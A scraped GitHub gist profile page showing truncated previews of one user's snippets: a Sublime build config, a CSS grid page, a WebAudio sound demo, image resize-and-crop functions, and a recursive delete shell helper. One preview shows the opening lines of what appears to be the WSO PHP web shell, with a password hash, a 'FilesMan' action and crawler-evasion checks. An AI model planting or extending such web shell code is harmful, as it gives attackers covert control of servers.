Skip to content

Instantly share code, notes, and snippets.

View widyakumara's full-sized avatar
:octocat:
🆖🆗 🆖🆗 🆖🆗

Dewa Widyakumara widyakumara

:octocat:
🆖🆗 🆖🆗 🆖🆗
View GitHub Profile
// PHP.sublime-build for SublimeText 3 on MacOS
{
"cmd": ["php", "$file"],
"selector": "source.php",
"path": "$PATH"
}
@widyakumara
widyakumara / ungrid.php
Created July 23, 2014 12:08
ungrid by @chrisnager: the simplest responsive css grid http://chrisnager.github.io/ungrid/
<!DOCTYPE html>
<html lang='en'>
<head>
<meta charset='utf-8'/>
<meta http-equiv='X-UA-Compatible' content='IE=edge'/>
<meta name='viewport' content='width=device-width, initial-scale=1'/>
<style type='text/css'>
.row {
width: 100%;
display: table;
mr = Math.random;
e = "exponentialRampToValueAtTime";
l = "linearRampToValueAtTime";
s = "setValueAtTime";
h = "frequency";
c = "connect";
ac = new(window.AudioContext||window.webkitAudioContext)();
d = ac.createDynamicsCompressor();
d[c](ac.destination);
var os = [];
<title>THX</title><script>mr=Math.random;e="exponentialRampToValueAtTime";l="linearRampToValueAtTime";s="setValueAtTime";h="frequency";c="connect";ac=new(window.AudioContext||window.webkitAudioContext)();d=ac.createDynamicsCompressor();d[c](ac.destination);var os=[];for(i=0;i<30;i++){v=200+mr()*200;os[i]=o=ac.createOscillator();o[h][s](v,0);o.detune[l](mr()*20-10,0);o.type="sawtooth";f=ac.createBiquadFilter();f.type="lowpass";f[h][s](v*8,0);f.Q.value=mr();for(t=0;t<10;t++){if(mr()<0.1){v=200+mr()*200;o[h][e](v,t+mr());f[h][e](v*8,t+mr());}}v=75*Math.pow(2,Math.floor(mr()*mr()*4));o[h][e](v,18+mr());f[h][e](v*15,18+mr());for(t=0;t<15;t++){o.detune[s](mr()*30-15,t*2+mr());}a=ac.createGain();a.gain[s](0,0);a.gain[l](0.1,5+mr()*5);a.gain[s](0.1,22);a.gain[l](0,30);p=ac.createPanner();p.setPosition(mr()*2-1,mr()*2-1,mr()*2-1);o[c](f);f[c](a);a[c](p);p[c](d);o.start(0);o.stop(30);}</script><body style="background:#000"><h1 style="text-align:center;font-size:25em;font-family:sans-serif;color:#fff">THX</h1>
from google.appengine.api import urlfetch
from base64 import encodestring as base64
import logging
try:
import simplejson as json
except ImportError:
import json
class Committer:
"""
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@widyakumara
widyakumara / del.sh
Created April 2, 2013 09:45
delete files recursively. eg. del .DS_Store index.html .htaccess
del_recursive() {
for var in "$@"
do
find . -name "$var" -type f -delete
done
}
alias del=del_recursive
@widyakumara
widyakumara / resizecrop.py
Created November 30, 2012 15:49
simple resize & crop with python & PIL (using ImageOps)
import PIL
from PIL import Image, ImageOps
def resizecrop(src, out, width, height):
img = Image.open(src)
img = ImageOps.fit(img, (width, height), Image.ANTIALIAS, 0, (0.5, 0.5))
img.save(out)
@widyakumara
widyakumara / resizecrop.py
Created November 30, 2012 15:47
simple resize & crop with python & PIL
import PIL
from PIL import Image
def resizecrop(src, out, width, height):
img = Image.open(src)
src_w = float(img.size[0])
src_h = float(img.size[1])
ratio = max(width/src_w, height/src_h)
out_w = int(src_w * ratio)
out_h = int(src_h * ratio)